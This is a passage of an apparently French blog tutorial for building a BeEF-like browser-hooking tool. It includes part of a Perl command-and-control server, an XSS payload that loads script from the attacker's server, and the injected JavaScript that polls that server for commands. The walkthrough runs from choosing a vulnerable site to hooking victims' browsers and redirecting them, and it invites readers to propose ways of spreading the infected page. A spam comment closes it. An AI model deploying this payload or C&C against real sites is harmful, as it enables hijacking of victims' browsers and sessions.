949: $header .= "Cache-control: no-cache\n";
950: $header .= "\n";
951:
952: return $header;
953:
954: }
955:
956:
957:
958:
959:
960:
961: ##### Generic Functions - START ####
962:
963: sub displayUsage {
964:
965: print "Looser...\n";
966:
967: }
968:
969: sub getSessionID {
970:
971: my $sessionIDlength = 10;
972: my @values = (0 .. 9,A .. Z);
973: my $sessionID;
974: for(my $i=0; $i<= $sessionIDlength; $i++) {
975: $sessionID .= $values[int(rand(36))];
976: }
977:
978: return $sessionID;
979:
980: }
981:
982: sub URLDecode {
983:
984: my ($url) = @_;
985:
986: $url =~ s/%([a-fA-F0-9]{2})/chr(hex($1))/eg;
987:
988: return $url;
989: }
990:
991: sub buildURI {
992:
993: my ($req_ref) = @_;
994:
995: my $uri;
996: my $resource = $req_ref->[1]->[0];
997: my $arguments;
998: my $arguments_ref = $req_ref->[1]->[1];
999:
1000: while(my($arg,$value) = each(%$arguments_ref)) {
1001: $arguments .= "\&".$arg."=".$value;
1002: }
1003: $arguments =~ s/^&//;
1004:
1005: $uri = $resource."?".$arguments;
1006:
1007: return $uri;
1008:
1009: }
1010:
1011: ##### Generic Functions - END ######
Puis on lance le serveur sur le port 81:
Et on accède à la page d’administration:
Phase II: le site web vulnérable
On choisit un site web en rapport avec notre scénario contenant une faille XSS. Ce site web sera le vecteur de notre payload.
Phase III: le payload XSS
Le payload contenant le lien vers l’injecteur de script dans notre page web peut être le suivant:
1: <script src="http://localhost:81/inject"></script>
Pour information le script injecté est:
1: function connectCC(retval) {
2: var URL= 'http://PROXIA0:81/inject?sessionID=7BJLE7MY26R';
3: if(retval) { URL = URL+'&return='+retval; }
4: var scriptTag = document.getElementById('loadScript');
5: var head = document.getElementsByTagName('head').item(0);
6: if(scriptTag) head.removeChild(scriptTag);
7: script = document.createElement('script');
8: script.src = URL;
9: script.type = 'text/javascript';
10: script.id = 'loadScript';
11: head.appendChild(script);
12: }
13: var sessionID='7BJLE7MY26R';
14: setInterval('connectCC()',6500);
15: 1
Phase IV: la diffusion de la page web infectée
Cette phase est laissée à l’appréciation du lecteur. Vos propositions sont les bienvenues.
Phase V: la collecte des résultats
On peut configurer notre serveur C&C pour effectuer une action dès que le browser de la victime est “hooké”. Ici on choisit d’afficher un message dans le browser:
La victime clique sur le lien et voit le message:
Dès que le browser est “hooké” on le voit apparaître sur notre page d’administration. On peut alors effectuer un certain nombre d’actions. Ici on choisit de rediriger la page web vers un autre lien:
Vous avez maintenant dans les mains un outil vous permettant de développer vos propres actions…légales bien sûr!
Remarque: la ressemblance avec BeEF ne vous a pas échappé…
Source : Merci à @edgtslfcbngq6sk
Very nice posting. Your article us quite informative.
RépondreSupprimerFiles Email and Phone Number Extractor